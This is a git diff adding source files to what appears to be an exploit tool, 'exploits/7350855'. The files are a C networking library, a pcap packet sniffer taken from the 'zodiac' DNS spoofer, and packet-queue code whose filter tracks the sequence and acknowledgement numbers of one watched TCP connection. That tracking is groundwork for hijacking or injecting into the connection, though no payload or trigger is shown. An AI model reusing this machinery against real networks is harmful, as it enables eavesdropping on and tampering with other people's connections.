0); + if (flags == -1) { + close (fd); + return (-1); + } + n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) { + close (fd); + return (-1); + } + + error = 0; + + n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); + if (n < 0) { + if (errno != EINPROGRESS) { + close (fd); + return (-1); + } + } + if (n == 0) + goto done; + + FD_ZERO(&rset); + FD_ZERO(&wset); + FD_SET(fd, &rset); + FD_SET(fd, &wset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + n = select(fd + 1, &rset, &wset, NULL, &tv); + if (n == 0) { + close(fd); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) + return (-1); + + if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { + if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { + len = sizeof(error); + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { + errno = ETIMEDOUT; + return (-1); + } + if (error == 0) { + goto done; + } else { + errno = error; + return (-1); + } + } + } else + return (-1); + +done: + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (fd); +} + + +int +net_tline (char *buf, int bufsize) +{ + int p; + + for (p = 0; p < bufsize; p++) { + if (buf[p] == '\n') + return (p + 1); + } + return (-1); +} + +#define LINET_A 1024 + + +int +net_rlineta (int fd, char **buf, int sec) +{ + int n; /* return value */ + int bufsize = 0; + + *buf = NULL; + + do { + bufsize += LINET_A; + *buf = realloc (*buf, bufsize); + if (*buf == NULL) + return (-1); + + n = net_rlinet (fd, *buf + bufsize - LINET_A, LINET_A, sec); + + if (n == -1) + goto rlinetaerr; + if (n >= 0) + goto rlinetastrip; + } while (n == -2); + +rlinetastrip: + *buf = realloc (*buf, strlen (*buf) + 1); + return (strlen (*buf)); + +rlinetaerr: + free (*buf); + return (-1); +} + + +int +net_rlinet (int fd, char *buf, int bufsize, int sec) +{ + int n; + unsigned long int rb = 0; + struct timeval tv_start, tv_cur; + + memset(buf, '\0', bufsize); + (void) gettimeofday(&tv_start, NULL); + + do { + (void) gettimeofday(&tv_cur, NULL); + if (sec > 0) { + if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - + ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { + return (-1); + } + } + n = net_rtimeout(fd, net_readtimeout); + if (n <= 0) { + return (-1); + } + n = read(fd, buf, 1); + if (n <= 0) { + return (n); + } + rb++; + if (*buf == '\n') + return (rb); + buf++; + if (rb >= bufsize) + return (-2); /* buffer full */ + } while (1); +} + + +long int +net_rbuf (int fd, char **dst) +{ + long int ml = 0; + long int read_bytes; + int p; + + *dst = NULL; + + while ((p = net_rtimeout(fd, net_readtimeout)) == 1) { + *dst = (char *) realloc(*dst, ml + NET_BSIZE); + if (*dst == NULL) + return (-1); + ml += read_bytes = read(fd, *dst + ml, NET_BSIZE); + if (read_bytes == 0) { + *dst = (char *) realloc(*dst, ml); + if ((*dst == NULL) && (ml == 0)) { + return (1); + } else if (*dst == NULL) { + return (-1); + } else { + return (ml); + } + } + } + return (-1); +} + + +int +net_rbuft (int fd, char *dst, unsigned long int dsize) +{ + unsigned long int bl = 0, m; + int p; + + while (bl < dsize) { + p = net_rtimeout(fd, net_readtimeout); + if ((p == 0) || (p == -1)) { + return (-1); + } + + m = read(fd, dst + bl, (dsize - bl)); + if ((m == 0) || (m == -1)) { + return (-1); + } + bl += m; + } + return (1); +} + + +int +net_rtimeout (int fd, int sec) +{ + fd_set rset; + struct timeval tv; + int n, error, flags; + + error = 0; + flags = fcntl(fd, F_GETFL, 0); + n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + FD_ZERO(&rset); + FD_SET(fd, &rset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + /* now we wait until more data is received then the tcp low level watermark, + * which should be setted to 1 in this case (1 is default) + */ + + n = select(fd + 1, &rset, NULL, NULL, &tv); + if (n == 0) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) { + return (-1); + } + /* socket readable ? */ + if (FD_ISSET(fd, &rset)) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (1); + } else { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } +} + + +void +net_write (int fd, const char *str, ...) +{ + char tmp[1025]; + va_list vl; + int i; + + va_start(vl, str); + memset(tmp, 0, sizeof(tmp)); + i = vsnprintf(tmp, sizeof(tmp), str, vl); + va_end(vl); + +#ifdef DEBUG + printf("[snd] %s\n", tmp); +#endif + + send(fd, tmp, i, 0); + return; +} + + +int +net_printip (struct in_addr *ia, char *str, size_t len) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + + return (0); +} + + +int +net_printipa (struct in_addr *ia, char **str) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + *str = calloc (1, 256); + if (*str == NULL) + return (1); + + snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + *str = realloc (*str, strlen (*str) + 1); + + return ((*str == NULL) ? 1 : 0); +} + diff --git a/exploits/7350855/0/network.h b/exploits/7350855/0/network.h new file mode 100644 index 0000000..3e726d0 --- /dev/null +++ b/exploits/7350855/0/network.h @@ -0,0 +1,367 @@ +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking code + */ + +#ifndef SCUT_NETWORK_H +#define SCUT_NETWORK_H + +#include +#include +#include +#include + +#define NET_READTIMEOUT 180 +#define NET_CONNTIMEOUT 60 +#define NET_IDENTTIMEOUT 15 + +#define IFI_NAME 16 +#define IFI_HADDR 8 + +/* struct ifi_info + * + * a linked list giving information about all the network interfaces available + * a pointer to this struct list is returned by net_get_ifi. + */ + +struct ifi_info { + char ifi_name[IFI_NAME]; + u_char ifi_haddr[IFI_HADDR]; + u_short ifi_hlen; + short ifi_flags; + short ifi_myflags; + struct sockaddr *ifi_addr; + struct in_addr ifi_saddr; + struct ifi_info *ifi_next; +}; + +#define IFI_ALIAS 1 + +typedef struct bound { + int bs; /* bound socket */ + unsigned short port; /* port we bound to */ + struct sockaddr bsa; /* bs_in */ +} bound; + +extern int net_readtimeout; +extern int net_conntimeout; +extern int net_identtimeout; + + +/* net_socks_connect + * + * relays through an open socks 5 server (NO AUTH type) + * returns a socket descriptor which is already connected + */ + +int net_socks_connect (char *socks, unsigned short int sport, + char *server, unsigned short int port, int sec); + + +/* net_socks_put_s5info + * + * insert socks 5 compatible relay information into socket s5s, + * used to relay over more then just one socks server + */ + +int net_socks_put_s5info (int s5s, char *server, + unsigned short int port, int sec); + + +/* net_parseip + * + * read an ip in the format "1.1.1.1:299" or "blabla:481" into + * the char pointer *ip and into the port *port + * + * return 0 on failure + * return 1 on success + */ + +int net_parseip (char *inp, char **ip, unsigned short int *port); + + +/* net_getlocalip + * + * give back the main IP of the local machine + * + * return the local IP address as string on success + * return NULL on failure + */ + +char *net_getlocalip (void); + + +/* net_peeraddress + * + * return a pointer to a string representation of the remote IP address of + * the already connected socket `socket' + * + * return NULL on failure + * return string pointer on succes + */ + +char * net_peeraddress (int socket); + + +/* net_addrpair + * + * find address pair of an established TCP connection of socket `socket'. + * + * return 0 on success + * return 1 on failure + */ + +int +net_addrpair (int socket, struct in_addr *src_ip, unsigned short int *src_prt, + struct in_addr *dst_ip, unsigned short int *dst_prt); + + +/* net_peername + * + * return a pointer that points to an alloced character array that contains + * the fully qualified hostname for the remote host that is connected using + * the socket descriptor `socket'. + + + * return NULL on failure + * return pointer to hostname or quad-dotted IP address + */ + +char *net_peername (int socket); + + +/* net_descriptify + * + * descriptify a socket `socket' ;) + * + * return -1 on failure + * return file descriptor on success + */ + +FILE *net_descriptify (int socket); + + +/* net_ident + * + * ident a connection identified by the host:port pairs on both sides, + * returning the ident in *ident + * + * return 1 on success + * return -1 on failure + */ + +int net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport, + struct sockaddr_in *remotes, unsigned short int remoteport); + + +/* net_accept + * + * accept a connection from socket s, and stores the connection + * into cs. + * wait a maximum amount of maxsec seconds for connections + * maxsec can also be zero (infinite wait, until connection) + * + * return 0 if no connection has been made within maxsec seconds + * return -1 if an error appears + * return the socket number if a connection has been made + */ + +int net_accept (int s, struct sockaddr_in *cs, int maxsec); + + +/* net_get_ifi + * + * get network interface information + * + * return NULL on failure + * return a pointer to a linked list structure ifi_info (see above) + */ + +struct ifi_info *net_ifi_get (int family, int doaliases); + + +/* net_ifi_free + * + * free the linked list associated with `tf'. + * + * return in any case + */ + +void net_ifi_free (struct ifi_info *tf); + + +/* net_testvip + * + * test if virtual ip/hostname is available for use on the local machine, + * + * return 1 if the ip can be used + * return 0 if the ip/host is not available + */ + +int net_testvip (char *ip); + + +/* net_bind + * + * bind a socket to an ip:port on the local machine, + * `ip' can be either NULL (bind to all IP's on the host), or a pointer + * to a virtual host name, or a real IP, or "*" for any. + * `port' can be either 0 (ephemeral port), or any free port. + * + * return NULL on failure + * return pointer to bound structure on success + */ + +bound *net_bind (char *ip, unsigned short int port); + + +/* net_boundfree + * + * free the bound structure pointed to by `bf' + * + * return in any case + */ + +void net_boundfree (bound *bf); + + +/* net_resolve + * + * resolve a hostname pointed to by `host' into a s_addr return value + * + * return the correct formatted `s_addr' for this host on success + * return 0 on failure + */ + +unsigned long int net_resolve (char *host); + + +/* net_assignaddr + * + * assign an IP address and port to a socket + * sourceip can be an IP or hostname that is available on the local host, + * or NULL/"*" to let the kernel choose one, same applies to sourceport, + * it can either be zero (ephemeral port choosen by the kernel) or a + * valid port number + * + * return 1 on success + * return 0 on failure + */ + +int net_assignaddr (int sd, char *sourceip, unsigned short int sourceport); + + +/* net_connect + * + * connect to the given `server' and `port' with a max timeout of `sec'. + * initialize the sockaddr_in struct `cs' correctly (ipv4), accept any + * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname. + * create a new socket and return either -1 if failed or + * the connected socket if connection has been established within the + * timeout limit. + * + * the routine is still IPv4 biased :-/ + * with `sourceip'/`sourceportÄ you MAY specify the source IP and source port + * to use for the connection, but you can set the ip or port to NULL/0, + * to choose the default IP and an ephemeral port. this was added later in + * this library, so please update your sources. + * + * return -1 on failure + * return socket if success + */ + +int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, + unsigned short int sourceport, int sec); + + +/* net_rtimeout + * + * waits max `sec' seconds for fd to become readable + * + * return -1 on error (errno set) + * return 1 on readability + */ + +int net_rtimeout (int fd, int sec); + + +/* net_rbuf + * + * allocate memory and read socket data to `dst' until the connection + * gets closed. + * + * return n if success (n = number of bytes read) + * return -1 if failed + */ + +long int net_rbuf (int fd, char **dst); +#define NET_BSIZE 4096 /* blocksize for pre-allocation */ + + +/* net_rbuft + * + * read `dsize' bytes into `dst' from `fd', with timeout + * + * return 1 on success + * return -1 on failure + */ +int net_rbuft (int fd, char *dst, unsigned long int dsize); + + +/* net_rlinet + * + * read a line from socket descriptor with timeout to buffer + * if sec = 0, then only a continuous stream of data is required, not + * an overall timeout. + * + * return -1 on timeout + * return 0 on connection close + * return length of readen line (including '\n') + * + * net_rlineta + * same as net_rlinet, but allocs the memory itself + */ + +int net_rlineta (int fd, char **buf, int sec); +int net_rlinet (int fd, char *buf, int bufsize, int sec); + + +/* net_tline + * + * return length if string `buf' with a maximum length of `bufsize' + * contains '\n' + * + * return -1 if no '\n' in string + */ + +int net_tline (char *buf, int bufsize); + + +/* net_write + * + * print a formatted string to a socket, see syntax of printf + * + * return in any case + */ + +void net_write (int fd, const char *str, ...); + + +/* net_printip + * + * print an IP address stored in the struct in_addr pointed to by `ia' to a + * string `str' with a maximum length of `len'. + * + * return 0 on success + * return 1 on failure + * + * net_printipa behaves the same way, except it allocates memory and let + * `*str' point to the string + */ + +int net_printip (struct in_addr *ia, char *str, size_t len); +int net_printipa (struct in_addr *ia, char **str); + + +#endif + diff --git a/exploits/7350855/0/packet.c b/exploits/7350855/0/packet.c new file mode 100644 index 0000000..686ad81 --- /dev/null +++ b/exploits/7350855/0/packet.c @@ -0,0 +1,487 @@ +/* packet handling functions (originally from zodiac) + * + * packet handling and queueing routines + * by scut + * + * -Smiler + * Changed pq_grind to remove link layer. Changed other functions to + * accept ip packets instead of ethernet packets. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "packet.h" +#include "sniff.h" + + +struct in_addr localip; + + +/* watching data. should be set before any pq_* functions are active + */ +pthread_mutex_t watch_mutex = PTHREAD_MUTEX_INITIALIZER; + +int watch = 0; +struct in_addr watch_ipsrc, + watch_ipdst; +unsigned long int watch_src_seq, + watch_dst_seq; +unsigned long int watch_src_ack, + watch_dst_ack; +unsigned short int watch_sport, + watch_dport; + +/* pq_grind + * + * grind the packets received from the sniffer thread, stripping ethernet + * header, filter non-TCP packets, add them to the packet queue, then raise + * the correct semaphore. + * + * `sinfo' gives information about the sniffing thread and the packet queue, + * `pkthdr' is from the pcap handler and `pkt' contains the real packet data. + */ + +void +pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, u_char *pkt) +{ + sniff_info * sinfo = (sniff_info *) sinfov; + + + if (sinfo->device->linktype == DLT_EN10MB) { + if (((eth_hdr *) pkt)->ether_type != htons (ETHERTYPE_IP)) + goto pq_glend; + } + pkt += sinfo->device->linkhdrlen; + pkthdr->caplen -= sinfo->device->linkhdrlen; + + if (pq_filter (pkt, pkthdr->caplen) == 0) + goto pq_glend; + + /* update connection table + */ +#if 0 + /* compute real IP/TCP packet size and append it to the right queue + */ + if (pq_add (pkt, pkthdr->caplen, &pkthdr->ts, sinfo->pq_thd)) + goto pq_glend; +#endif + + /* notify the corresponding thread about the new packet in it's queue + */ + pq_notify (sinfo->pq_thd); + +pq_glend: + return; +} + + +/* pq_add + * + * append a packet queue description (pq_desc) with packet content `p_data' to + * the packet queue associated with thread `thd'. + * the packet data is copied, so the packet data pointer `p_data' has to be + * freed by the calling function. the time value `rcv_time' is the time when the + * packet was sniffed from the pcap library. + * + * return 0 on success + * will never fail tho ;-D + */ + +int +pq_add (unsigned char *p_data, unsigned long int p_size, + struct timeval *rcv_time, pq_thread *pqt) +{ + pq_desc * np; /* new packet in queue */ + + + np = xcalloc (1, sizeof (pq_desc)); + + /* initialize the packet mutex and get hold of it + */ + pthread_mutex_init (&np->pq_mutex, NULL); + pthread_mutex_lock (&np->pq_mutex); + + /* get memory for the packet + */ + np->p_len = p_size; + np->p_data = xcalloc (1, np->p_len); + + /* copy packet data, create hash and copy time values + */ + memcpy (np->p_data, p_data, np->p_len); + np->next = NULL; + memcpy (&np->rcv_time, rcv_time, sizeof (struct timeval)); + + /* now add the packet to the thread queue + */ + pthread_mutex_lock (&pqt->pq_mutex); + + /* no packet added yet, then just modify the root pointer, else + * append the packet + */ + if (pqt->root == NULL) { + pqt->root = np; + } else { + pq_desc *cur = pqt->root; /* help pointers to step through the list */ + pq_desc *last = pqt->root; + + /* cycle through linked list, until end is reached + */ + while (cur != NULL) { + last = cur; + + pthread_mutex_lock (&last->pq_mutex); + cur = last->next; + pthread_mutex_unlock (&last->pq_mutex); + } + + pthread_mutex_lock (&last->pq_mutex); + last->next = np; + pthread_mutex_unlock (&last->pq_mutex); + } + + pthread_mutex_unlock (&pqt->pq_mutex); + pthread_mutex_unlock (&np->pq_mutex); + + /* added packet successfully + */ + return (0); +} + + +/* pq_handle + * + * main (threaded) packet processor routine + */ + +void * +pq_handle (pq_thread *pq) +{ + pq_desc *packet; /* packet pointer */ + ip_hdr *ip; /* IP packet header pointer */ + tcp_hdr *tcp; /* TCP packet header pointer */ + unsigned char *data; /* packet data pointer :-) */ + char *p_data; + + + do { + unsigned int psize; + + do { + sem_wait (&pq->pq_active); /* wait for a packet */ + + /* get, unlink and then process the packet + */ + packet = pq_get (pq); + } while (packet == NULL); + + p_data = packet->p_data; + + pq_offset (p_data, &ip, &tcp, &data); + +/* hexdump ("packets-rawdns", (unsigned char *) ip, (packet->p_len - sizeof (eth_hdr))); +*/ + psize = packet->p_len; +// XXX dns_handle (ip, udp, dns, data, psize); + +#if 0 + /* now, if the packet is directed to port 53, we add the id to the queue + * then update the display. but first check whether it is a self-originated + * packet, then skip the whole procedure. + */ + if (udp->uh_dport == htons (53) && dns_tag_check_n (&ip->ip_src, + &ip->ip_dst, htons (udp->uh_sport), htons (udp->uh_dport), + htons (dns->id)) == 0) + { + id_add (ip->ip_src, ntohs (dns->id), &packet->rcv_time); + id_qprint (ms, ms->winid); + } +#endif + + pq_free (packet); + + } while (1); + + return (NULL); +} + + +/* pq_create + * + * create a packet handler + * + * return NULL on failure + * return pointer to pq_thread structure on success + */ + +pq_thread * +pq_create (void) +{ + int n; /* temporary return value */ + pq_thread *pq_new; /* main thread structure of new thread */ + + pq_new = xcalloc (1, sizeof (pq_thread)); + + pthread_mutex_init (&pq_new->pq_mutex, NULL); + pq_new->pq_count = pq_new->pq_curcount = 0; + sem_init (&pq_new->pq_active, 0, 0); + + n = pthread_create (&pq_new->pq_tid, NULL, (void *) pq_handle, (void *) pq_new); + if (n == -1) { + pq_destroy (pq_new); + + return (NULL); + } + + return (pq_new); +} + + +void +pq_destroy (pq_thread *pq) +{ + pthread_mutex_destroy (&pq->pq_mutex); + sem_destroy (&pq->pq_active); + + free (pq); + + return; +} + +/* pq_notify + * + * notify the correct thread using a semaphore + */ + +void +pq_notify (pq_thread *pqt) +{ + /* raise the semaphore + */ + sem_post (&pqt->pq_active); + + return; +} + + +/* pq_get + * + * return one packet from the packet stack pointed to by `pqt'. + * + * return NULL on failure + * return pointer to packet description on success + */ + +pq_desc * +pq_get (pq_thread *pqt) +{ + pq_desc *next; + pq_desc *this = NULL; + + pthread_mutex_lock (&pqt->pq_mutex); + + next = pqt->root; + + if (next != NULL) { + + /* if there is a packet, unlink first one, and shift all + * following packets + */ + pthread_mutex_lock (&pqt->root->pq_mutex); + next = pqt->root->next; + pthread_mutex_unlock (&pqt->root->pq_mutex); + + /* shift packets, we are helding pq_mutex tho :) + */ + this = pqt->root; + pqt->root = next; + + } + + pthread_mutex_unlock (&pqt->pq_mutex); + + return (this); +} + +/* pq_remove + * + * remove the first packet from packet thread queue `thd'. + * + * return in any case + */ + +void +pq_remove (pq_thread *pqt) +{ + pq_desc *next; + + pthread_mutex_lock (&pqt->pq_mutex); + + if (pqt->root != NULL) { + pthread_mutex_lock (&pqt->root->pq_mutex); + next = pqt->root->next; + pthread_mutex_unlock (&pqt->root->pq_mutex); + + pq_free (pqt->root); + pqt->root = next; + } + + pthread_mutex_unlock (&pqt->pq_mutex); + return; +} + + +/* pq_free + * + * free a pq_desc structure with all associated data + */ + +void +pq_free (pq_desc *packet) +{ + /* some sanity checking inside :) + */ + if (packet == NULL) + return; + + /* if data is associated, free it + */ + if (packet->p_data != NULL) { + free (packet->p_data); + } + + /* destroy mutex and free structure + */ + pthread_mutex_destroy (&packet->pq_mutex); + free (packet); + + return; +} + + +/* pq_filter + * + * check wether packet with packet data pointed to by `p_data' is a UDP + * nameserver packet or not + * + * return 1 if it is + * return 0 if it is not + */ + +int +pq_filter (unsigned char *p_data, unsigned long p_size) +{ + int match = 0; + unsigned int iplen; + ip_hdr * ip = NULL; + tcp_hdr * tcp = NULL; + + + if (p_size < (sizeof (ip_hdr) + sizeof (tcp_hdr))) + return (0); + + /* now check if the ip header encloses a udp packet + */ + ip = (ip_hdr *) (p_data); /* caveat here: don't miss brackets ! */ + if (ip->ip_p != IPPROTO_TCP) + return (0); + + iplen = ip->ip_hl << 2; + if (iplen > p_size) /* XXX: is this correct ;) ? */ + return (0); + + + tcp = (tcp_hdr *) (p_data + iplen); + tcp->th_sport = ntohs (tcp->th_sport); + tcp->th_dport = ntohs (tcp->th_dport); + + /* quick and ugly wanted-matching + */ + pthread_mutex_lock (&watch_mutex); + if (tcp->th_sport == watch_sport && + tcp->th_dport == watch_dport && + ip->ip_src.s_addr == watch_ipsrc.s_addr && + ip->ip_dst.s_addr == watch_ipdst.s_addr) + { + match = 1; + } else if (tcp->th_sport == watch_dport && + tcp->th_dport == watch_sport && + ip->ip_src.s_addr == watch_ipdst.s_addr && + ip->ip_dst.s_addr == watch_ipsrc.s_addr) + { + match = 1; + } + + if (watch == 0) + match = 0; + + /* XXX kludge: update seq# here */ + if (match == 1) { + if (ip->ip_src.s_addr == watch_ipsrc.s_addr && + tcp->th_sport == watch_sport) + { + watch_src_seq = ntohl (tcp->th_seq); + watch_src_ack = ntohl (tcp->th_ack); +#ifdef DEBUG + fprintf (stderr, "(%5hu -> %5hu) src #: 0x%08lx | 0x%08lx\n", + tcp->th_sport, tcp->th_dport, + watch_src_seq, watch_src_ack); +#endif + } else if (ip->ip_src.s_addr == watch_ipdst.s_addr && + tcp->th_sport == watch_dport) + { + watch_dst_seq = ntohl (tcp->th_seq); + watch_dst_ack = ntohl (tcp->th_ack); +#ifdef DEBUG + fprintf (stderr, "(%5hu -> %5hu) dst #: 0x%08lx | 0x%08lx\n\n", + tcp->th_sport, tcp->th_dport, + watch_dst_seq, watch_dst_ack); +#endif + } + } + pthread_mutex_unlock (&watch_mutex); + + + return (match); +} + + +/* pq_offset + * + * stupidly calculate offsets for IP, UDP and DNS offsets within a IP data + * block + * + * return nothing + */ + +void +pq_offset (unsigned char *data, ip_hdr **ip, tcp_hdr **tcp, + unsigned char **tcp_data) +{ + size_t ip_len; + + + if (data == NULL) + return; + + *ip = (ip_hdr *) data; + ip_len = (*ip)->ip_hl << 2; + *tcp = (tcp_hdr *) (data + ip_len); + + /* FIXME: assuming stock tcp header */ + *tcp_data = (unsigned char *) (data + ip_len + sizeof (tcp_hdr)); + + return; +} + diff --git a/exploits/7350855/0/packet.h b/exploits/7350855/0/packet.h new file mode 100644 index 0000000..78f1404 --- /dev/null +++ b/exploits/7350855/0/packet.h @@ -0,0 +1,85 @@ +/* snifflib + * + * by scut, smiler + * + */ + +#ifndef Z_PACKET_H +#define Z_PACKET_H + +#include +#include +#include +#include +#include +#include +#include + + +/* packet structures + * + * we tried to be as portable as possible + */ + +typedef struct libnet_ethernet_hdr eth_hdr; +typedef struct libnet_ip_hdr ip_hdr; +typedef struct libnet_udp_hdr udp_hdr; +typedef struct libnet_tcp_hdr tcp_hdr; + + +/* pq_desc + * + * describe one packet within the packet queue. the data is only to be read + * and write if `pq_mutex' is hold. `next' points to the next pq_desc within + * this packet queue, hash is the hash id of the packet (TCP only), `p_data' + * is the actual packet data (at IP level) + */ + +typedef struct pq_desc { + pthread_mutex_t pq_mutex; /* mutex over this structure */ + + struct pq_desc *next; /* pointer to the next packet in the queue */ + struct timeval rcv_time; /* time when the packet was received */ + unsigned long int p_len; /* overall packet length */ + + unsigned char *p_data; /* actual packet data, link layer stripped already */ +} pq_desc; + + +/* pq_thread + * + * describe a) one packet processing thread (tid, semaphore) + * b) packet queue root pointer (linked list of pq_desc structs) + * c) stats for this queue + * + * if the sniffing thread has encountered a packet that it added to this + * packetizing queue, it will raise the `pq_active' :-) + */ + +typedef struct pq_thread { + pthread_t pq_tid; /* thread ID */ + sem_t pq_active; /* new packet semaphore, yeah =) */ + pthread_mutex_t pq_mutex; /* mutex over this structure */ + + unsigned long int pq_count; /* number of packets processed in this queue */ + unsigned long int pq_curcount; /* number of packets currently in this queue */ + pq_desc *root; /* root pointer of the linked list in this queue (NULL for empty) */ +} pq_thread; + +void * pq_handle (pq_thread *pq); +pq_thread * pq_create (void); +void pq_destroy (pq_thread *pq); +pq_desc * pq_get (pq_thread *pqt); +void pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, + unsigned char *pkt); +int pq_add (unsigned char *p_data, unsigned long int p_size, + struct timeval *rcv_time, pq_thread *pqt); +void pq_notify (pq_thread *pqt); +void pq_remove (pq_thread *pqt); +void pq_free (pq_desc *packet); +int pq_filter (unsigned char *p_data, unsigned long p_size); +void pq_offset (unsigned char *data, ip_hdr **ip, tcp_hdr **tcp, + unsigned char **tcp_data); + +#endif + diff --git a/exploits/7350855/0/readtest.c b/exploits/7350855/0/readtest.c new file mode 100644 index 0000000..f1618e5 --- /dev/null +++ b/exploits/7350855/0/readtest.c @@ -0,0 +1,42 @@ + +#include +#include +#include +#include "network.h" + + +int +main (int argc, char *argv[]) +{ + int cfd; + bound * rt; + int len; + unsigned char tbuf[8192]; + + + rt = net_bind (NULL, 2000); + if (rt == NULL) { + perror ("net_bind"); + exit (EXIT_FAILURE); + } + + cfd = net_accept (rt->bs, NULL, 0); + if (cfd <= 0) { + perror ("net_accept"); + exit (EXIT_FAILURE); + } + + /* now deep down to the guts */ + len = 1; + while (len > 0 && 1) { + len = read (cfd, tbuf, sizeof (tbuf)); + printf ("%d\n", len); + } + + close (cfd); + net_boundfree (rt); + + exit (EXIT_SUCCESS); +} + + diff --git a/exploits/7350855/0/sniff.c b/exploits/7350855/0/sniff.c new file mode 100644 index 0000000..b8ff924 --- /dev/null +++ b/exploits/7350855/0/sniff.c @@ -0,0 +1,323 @@ +/* zodiac - advanced dns spoofer + * + * sniffing functions + * + * by scut, smiler + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "packet.h" +#include "sniff.h" + + +extern struct in_addr localip; + + +/* sniff_new + * + * the only function that should be called from outside. set up sniffing + * device, create a new thread, then return. + * open `interface' device for sniffing, tell sniffing thread to use + * `pq_size' packet queues, available through `pq_list'. + * store thread id of new thread in `tid'. + * + * return 0 if thread creation was successful + * return 1 if thread creation failed + */ + +int +sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd) +{ + int n; /* temporary return value */ + sniff_info *sinfo; /* sniff information structure */ + + sinfo = xcalloc (1, sizeof (sniff_info)); + + /* open interface + */ + sinfo->device = sniff_open (interface); + if (sinfo->device == NULL) { + free (sinfo); + + return (1); + } else if (sinfo->device->error == 1) { + return (1); + } + + if (sniff_dev_ip (interface, &localip) != 0) { + free (sinfo); + + return (1); + } + + /* store information into sinfo + */ + sinfo->pq_thd = pq_thd; + + /* and create our neat thread :) + */ + n = pthread_create (tid, NULL, (void *) sniff_handle, (void *) sinfo); + if (n == -1) { + sniff_dev_free (sinfo->device); + free (sinfo); + + return (1); + } + /* successfully created sniffer thread + */ + return (0); +} + +/* sniff_handle + * + * the main sniffing thread, fetching packets from the device, then calling + * the packet grinder `pq_grind' to process the packets + * + * should never return except on error or program exit + */ + +void * +sniff_handle (sniff_info *sinfo) +{ + int n; /* temporary return value */ + pcap_handler grinder; /* pcap handler for the packet grinding function */ + + + fprintf (stderr, "[855] hello world from sniffing thread\n"); + + /* sniff packets forever, until an error appears. pass incoming packets + * to `pq_grind'. + */ + + grinder = (pcap_handler) pq_grind; + + /* loop packets to pq_grind until error, passing sinfo struct for queueing + */ + n = pcap_loop (sinfo->device->pd, -1, grinder, (void *) sinfo); + + /* on error print error message, then free the device and terminate the + * thread + */ + if (n == -1) { + fprintf (stderr, "[855] sniff_handle (pcap_loop): %s\n", + pcap_geterr (sinfo->device->pd)); + } + + return (NULL); +} + + +/* sniff_filter + * + * install a filter `filter' on device `device', with netmask `netmask' + * + * return 0 on success + * return 1 on failure + */ + +int +sniff_filter (s_dev *device, char *filter, bpf_u_int32 netmask) +{ + int n; /* temporary return value */ + struct bpf_program fprog; /* berkeley packet filter program structure */ + + n = pcap_compile (device->pd, &fprog, filter, 1, netmask); + if (n == -1) { + fprintf (stderr, "[855] sniff_filter (pcap_compile): " + "failed to compile bpf program\n"); + return (1); + } + + n = pcap_setfilter (device->pd, &fprog); + if (n == -1) { + fprintf (stderr, "[855] sniff_filter (pcap_setfilter): " + "failed to set bpf on %s\n", device->interface); + return (1); + } + + return (0); +} + +/* sniff_open + * + * open `dev' for sniffing, or just the first sniffable one, if + * dev is NULL. + * + * return NULL on failure + * return pointer sniffing device structure on success + * -smiler + * Added link layer header length detection. + */ + +s_dev * +sniff_open (char *devname) +{ + int n; /* temporary return value */ + s_dev * device; /* sniffing device structure to create */ + char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer for pcap message */ + + /* create new sniffing device structure in s_dev + */ + device = xcalloc (1, sizeof (s_dev)); + + /* check wether to use the first device or a specified device + */ + if (devname == NULL) { + /* due to lame pcap manpage, you should not know that it's static *doh* */ + device->interface = pcap_lookupdev (errorbuf); + if (device->interface == NULL) { + fprintf (stderr, "[855] sniff_open (pcap_lookupdev): %s\n", errorbuf); + device->error = 1; + + return (device); + } + } else { + /* if the interface we have to use is already known just copy it + */ + device->interface = xstrdup (devname); + } + + /* try to open the device found + */ + device->pd = sniff_pcap_open (device->interface); + if (device->pd == NULL) { + device->error = 1; + return (device); + } + + /* now query some information about the device and store them into our struct + */ + n = pcap_lookupnet (device->interface, &device->localnet, + &device->netmask, errorbuf); + if (n == -1) { + device->error = 1; + return (device); + } + + device->linktype = pcap_datalink (device->pd); + if (device->linktype == -1) { + device->error = 1; + return (device); + } + + switch (device->linktype) { + /* not sure about all of these, but they work for me :\ -z */ + case DLT_SLIP: + case DLT_PPP: + case DLT_NULL: + device->linkhdrlen = 4; + break; + case DLT_RAW: + device->linkhdrlen = 0; + break; + case DLT_EN10MB: + default: + device->linkhdrlen = 14; + break; + } + fprintf (stderr, "[855] sniff_open: linkhdrlen = %ld\n", + device->linkhdrlen); + + /* thx random for figuring this putty ;) + */ + sniff_filter (device, "", device->netmask); + + return (device); +} + +/* sniff_pcap_open + * + * securely wraps the pcap_open_live call to catch any errors + * + * return NULL on failure + * return capture descriptor on succes + */ + +pcap_t * +sniff_pcap_open (char *device) 